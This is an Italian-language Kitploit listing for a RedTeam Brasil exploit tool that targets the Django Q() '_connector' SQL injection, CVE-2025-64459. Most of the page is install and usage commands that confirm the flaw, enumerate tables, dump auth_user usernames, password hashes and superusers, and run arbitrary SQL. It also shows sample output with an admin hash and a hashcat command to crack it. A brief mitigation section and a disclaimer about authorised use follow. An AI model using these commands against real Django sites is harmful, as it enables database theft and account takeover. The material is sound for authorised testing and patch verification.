Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
RedTeamBrasil-CVE-2025-64459 — NEO-SQLi — sfrutta la SQL Injection di Django _connector (CVE-2025-64459) | canale RedTeam Brasil | Kitploit
Strumenti/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSicurezza dei Database
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — sfrutta la SQL Injection di Django _connector (CVE-2025-64459) | canale RedTeam Brasil

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1 mese faNon ancora revisionato

connector-sqli

Esplorazione automatizzata di SQL Injection nell'ORM di Django
oggetto Q _connector · CVE-2025-64459

cve django python license

🎥 canale RedTeam Brasil — sicurezza offensiva, nella pratica, in portoghese.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   canal RedTeam Brasil
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    uso autorizzato solo

📌 Sulla vulnerabilità — CVE-2025-64459

L'ORM di Django costruisce i filtri con gli oggetti Q(). Il costruttore Q(*args, _connector=None, _negated=False, **kwargs) accetta il kwarg speciale _connector — la stringa (AND/OR) che collega le condizioni all'interno del WHERE.

Nelle versioni interessate questo valore non veniva sanitizzato e finiva grezzo nella SQL. Quando l'applicazione passa l'input dell'utente direttamente a Q() / .filter() / .exclude() / .get() tramite l'espansione di dizionario — l'anti-pattern classico:

root@kitploit:~
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET))     # ou .filter(**request.GET)

…l'attaccante controlla _connector e inietta SQL arbitraria tra le condizioni (vale per SQLite, PostgreSQL, MySQL, ecc.).

Con DEBUG = True l'esplorazione diventa banale: la pagina di errore di Django restituisce la SQL costruita, la tabella base e il numero di colonne — esattamente ciò che lo strumento usa per costruire l'UNION da solo.


⚡ Caratteristiche

Esploratore generico (non legato a un singolo target) e automatizzato:

  • 🧭 Trova l'endpoint da solo (--auto): crawl sulla home + robots/sitemap + wordlist incorporata, testando ogni percorso tramite il FieldError di Django.
  • 🔎 Rileva l'endpoint vulnerabile e DEBUG=True tramite FieldError.
  • 🧠 Rileva automaticamente la tabella base e il numero di colonne leggendo la SQL della pagina di errore.
  • 🎯 Trova la colonna riflessa con marcatori → estrazione tramite delimitatori (indipendentemente da come la pagina renderizza).
  • 🗃️ Elenca tabelle → elenca colonne → esegue il dump di qualsiasi tabella (UNION-based).
  • 🐚 Modalità interattiva (menu: tabella → colonne → dump).
  • 🧪 Proxy (Burp/mitmproxy tramite --proxy) e target HTTPS.

🚀 Installazione

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 Uso

root@kitploit:~
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check

# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables

# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user

# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"

# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users

# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"

# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell

# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto              # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell      # descobre e já explora

Con --auto (o il sottocomando auto) esegue il crawl sulla home + robots.txt/sitemap.xml e usa una wordlist incorporata di percorsi di elenco/ricerca (EN + PT-BR + API), segnando quelli che restituiscono FieldError di Django. Se passi un --path sbagliato, passa automaticamente alla modalità di discovery.

Opzioni

root@kitploit:~
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users

# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell

🖥️ Esempio di output

root@kitploit:~
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model>   ·   colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

Con l'hash del superuser in mano:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django usa pbkdf2_sha256

🛡️ Mitigazione

  1. Aggiornare Django a 4.2.26 / 5.1.14 / 5.2.8+.
  2. Non passare mai request.GET direttamente a Q()/.filter(). Usa una allow-list:
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. DEBUG = False in produzione (non far trapelare SQL/tabelle/settings).
  4. Utente del database con privilegi minimi.

⚖️ Avviso legale

Strumento educativo e solo per test autorizzati (labs, CTF, bug bounty in scope, pentest commissionato). L'uso contro sistemi senza autorizzazione esplicita è reato — sei l'unico responsabile.


Realizzato da RedTeam Brasil · ti è piaciuto? lascia un like e iscriviti al canale.

Scarica lo strumento
ItemDetalhe
CVECVE-2025-64459
Componentedjango.db.models — Q() / QuerySet (_connector e alias di colonna)
Versões afetadasDjango < 4.2.26, < 5.1.14, < 5.2.8
Correçãoaggiornare a 4.2.26 / 5.1.14 / 5.2.8 (o successiva)
Impactolettura arbitraria del database (UNION/blind) → dump delle credenziali ed escalation della catena di attacco
FlagA cosa serve
--path /buscarendpoint vulnerabile (default /list)
--autotrova l'endpoint da solo (crawl + wordlist)
--wordlist rotas.txtpercorsi extra per la discovery (1 per riga)
--base app_modelforza la tabella base (se l'auto-rilevamento fallisce)
--proxy http://127.0.0.1:8080invia tutto a Burp / mitmproxy